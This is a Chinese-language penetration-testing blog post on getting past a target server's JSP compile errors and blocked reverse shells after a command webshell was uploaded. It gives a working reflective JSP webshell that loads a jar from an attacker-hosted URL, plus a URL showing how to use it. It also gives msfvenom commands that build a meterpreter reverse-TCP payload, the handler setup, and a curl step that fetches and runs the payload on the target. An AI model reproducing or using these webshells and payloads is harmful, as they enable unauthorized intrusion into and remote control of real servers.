0x01 写在前面
前段时间有个站点,上传的jsp马不能执行,编译报错。之前也有过类似场景,感觉是个通用问题,记录下。
情况如下:
菜刀马、冰蝎马、大马,均不能执行(编译报错);
幸运的是可以上传jsp_cmd 小马 执行系统命令
主机联网,但通过bash -i 反弹不了交互式shell
目标如下:
突破限制,获得菜刀马?
突破限制,获得交互式系统shell?
PS:当然对于漏洞来讲,cmd shell可以证明问题,权限大也可以直接rm -rf /,但非初衷,对于渗透来讲,还需要更加深入。
编译报错信息如下,原因有可能是JDK版本不匹配,但可以确定是服务端问题。
利用反射加载一个外部的jar到当前应用,反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包,所以要求服务器必须能访问到这个jar地址。(园长之前有写)
上传反射马到目标服务器
在自己的VPS上传cat.jar
反射马
<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%>
利用方式:
http://x.x.x.x:8161/api/yuan.jsp?u=http://attackIP/Cat.jar&023=A
可以使用菜刀连接(如果有认证,需要给菜刀加cookie)
连接地址:http://x.x.x.x:8161/api/yuan.jsp?u=http://attackIP/Cat.jar密码023
详情细节可参考:园长的博客 jsp小后门:http://p2j.cn/?p=1627
0x03 突破限制获得交互式系统shell
虽然有cmd shell 命令执行马,但当时的两个瓶颈点,bash -i 无法直接反弹,wget无法直接使用。所以最终使用了curl 下载msf 的二进制马。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=attackVPSip LPORT=8082 -f elf > shell.elf
msfconsole
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST attackVPSip
set LPORT 8082
exploit -j -z
目标服务器cmdshell使用curl -O 可以将远程附件保存到服务器上并执行。
反弹上线
更多msf payload 相关可参考: